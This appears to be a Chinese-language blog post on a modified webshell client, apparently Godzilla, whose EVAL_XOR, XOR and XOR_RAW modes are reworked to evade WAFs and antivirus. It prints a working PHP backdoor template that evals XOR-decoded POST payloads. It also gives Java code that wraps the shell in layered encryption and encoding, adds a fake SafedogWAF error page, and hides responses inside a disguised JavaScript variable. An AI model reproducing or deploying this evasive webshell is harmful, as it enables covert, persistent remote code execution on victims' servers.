数据包样式

先上对比图,前三个为老版本,后三个为二开后的。密码默认password,密钥key

EVAL_XOR

手动隔开

XOR_RAW

隔开

XOR

手动隔开

代码修改

EVAL_XOR

代码中集成了小刚师傅的免杀https://github.com/xiaogang000/XG_NTAI

首先是对模板文件生成逻辑的修改,在原有的基础上添加小刚师傅中的PhpEncodeDemo5加密脚本,生成出来的webshell会先按照既定的路线替换掉里面的secretkey和pass,然后加密,添加html代码,最后返回

    public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
        byte[] data = null;
        try {
            InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base164.bin"));
            String code = new String(functions.readInputStream(inputStream));
            inputStream.close();
            code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
// 调用 PhpEncodeDemo5 进行加密
            PhpEncodeDemo5 encoder = new PhpEncodeDemo5("", code, secretKey);
            String[] encodedData = encoder.Run();
            String encryptedCode = encodedData[0]; // 加密后的 PHP 代码
            String fakeHtml = new HtmlPretend().GetPhp("SafedogWAF", "405");
            String finalCode = encryptedCode + fakeHtml;
            data = finalCode.getBytes(StandardCharsets.UTF_8);
        } catch (Exception e) {
            Log.error(e);
        }
        return data;
    }

加密的内容大致长这样

包含html代码的目的是为了绕waf,访问上传的文件可以看到伪造的waf页面

然后是对模板文件修改

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
        for($i=0;$i<strlen($D);$i++) {
            $c = $K[$i+1&10];
            $D[$i] = $D[$i]^$c;
        }
    return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);

		$rev = strrev($pass);
                $left = substr(md5($rev . $key), 0, 8);
                $replacedString = str_replace("Generate", $left, "var PhotoGraph_Generate_Name=");

                header('Content-Type: text/html');
                echo '<!DOCTYPE html>';
                echo '<html lang="en">';
                echo '<head>';
                echo '<meta charset="UTF-8">';
                echo '<title>GetPhotograph</title>';
                echo '</head>';
                echo '<body>';
                echo '<script>';
                echo '<!-- Edge Button BEGIN -->';
                echo '</br>';
                echo '<script type="text/javascript" id="Edgeclick_js" data="type=slide&amp;img=8&amp;pos=right&amp;uid=324242"></script>';
                echo '<script type="text/javascript" id="Edgeclick_js"></script>';
                echo '<script type="text/javascript">';

                echo $replacedString;
                echo base64_encode(encode(@run($data),$key));
                echo ";";
                echo 'document.getElementById("Edgeclick_js").src = "https://pss.bdstatic.com/static/superman/js/s_super_async-80d96816da.js"';
                echo '</script>';
                echo '</script>';
                echo '</body>';
                echo '</html>';

    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

正常数据包会只返回加密值,我想添加html代码将他返回值嵌入进去,伪造成一个变量的样子,于是添加了echo语句作为输出。响应包被提取内容时,会调用源码中的findstr函数匹配左边和右边的内容,原来的内容是md5+base64+md5,我把它修改成md5+base64+分号

然后对异或函数进行修改,异或两次,目的是匹配模板文件中的encode(),这里的cs通过异或加密传给$pass,$pass和$key再异或解密就得到模板文件payload.php里面的内容

在初始化函数中修改匹配规则,对应上面的MD5+base64+分号

public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
//        String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
//        this.findStrLeft = findStrMd5.substring(0, 16);
//        this.findStrRight = findStrMd5.substring(16);
        StringBuilder stringBuilder = new StringBuilder(this.shell.getSecretKey());
        String reversed = stringBuilder.reverse().toString();
        String findStrMd5 = functions.md5(reversed + new String(this.key));
        String md5Prefix = findStrMd5.substring(0, 8);
        this.findStrLeft1 = "var PhotoGraph_Generate_Name=";
        this.findStrLeft = this.findStrLeft1.replace("Generate", md5Prefix);
        this.findStrRight = ";";
        try {
            this.evalContent = this.generateEvalContent();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        try {
            this.payload = this.shell.getPayloadModule().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }
        } catch (Exception e) {
            Log.error(e);
            return;
        }
    }

接着对base64.php模板文件中添加aes加密,aes.bin文件中是aes对应php的解码。整个逻辑是先将base64.bin文件中的内容给eval,然后取出aes.bin文件中的内容给code,对eval进行aes加密,替换掉code中多余的<?php,将密文密钥也替换,对其base64加密,两次url加密最后返回

    public String generateEvalContent() throws Exception {
        String eval = new String(Test.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false)).replace("<?php", "");
//        eval = functions.base64EncodeToString(eval.getBytes());
//        eval = new StringBuffer(eval).reverse().toString();

        boolean isBin = false;
        InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "aes.bin"));
        String code = new String(functions.readInputStream(inputStream));
        inputStream.close();


        String key = generateKey();
        String encryptedText = encrypt(eval, key);

        code = code.replace("{Encode}", encryptedText).replace("{Key}", key).replace("<?php", "");

        eval = functions.base64EncodeToString(code.getBytes());
        eval = String.format("eval(base64_decode(urldecode('%s')));", URLEncoder.encode(eval));
        eval = URLEncoder.encode(eval);
        return eval;
    }

XOR

这个和上者共用一个模板文件,初始化代码只是少了一个

try {
            this.evalContent = this.generateEvalContent();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

因为我们以这个版本生成的后门就是EVAL_XOR的数据包的第一个参数,因此它在数据包中只会传递一个参数,我们对其初始化的时候可以添加左右参数

private void initAddShellValue() {
        this.shellContext = new ShellEntity();
        this.urlTextField.setText("http://127.0.0.1/shell.jsp");
        this.passwordTextField.setText("pass");
        this.secretKeyTextField.setText("key");
        this.proxyHostTextField.setText("127.0.0.1");
        this.proxyPortTextField.setText("8888");
        this.connTimeOutTextField.setText("3000");
        this.readTimeOutTextField.setText("60000");
        this.remarkTextField.setText(EasyI18N.getI18nString("\u5907\u6ce8"));
        this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36\n" +
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n" +
                "Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.6,en;q=0.5,zh-TW;q=0.4\n" +
                "Accept-Encoding: gzip, deflate, br");
        this.leftTextArea.setText("xiubao=1732546098&");
        this.rightTextArea.setText("&photo_num=1732546018976432.png");
        if (this.currentGroup == null) {
            this.currentGroup = "/";
        }
    }

剩下的部分就和EVAL_XOR一样

XOR_RAW

这个和上两个不一样的是,因为源码中不存在匹配左右两边的字符串,所以不能嵌入html代码进去,会影响读取返回值。加上使用的模板文件和前两个不一样,代码中使用到了file协议读取POST数据包的值,也不能乱添加多余参数,于是就只能暂时针对异或加密,模板文件修改部分

主要可以切换小刚老师的加密模板,对异或加密的函数再修改一下,就能达到绕过waf的效果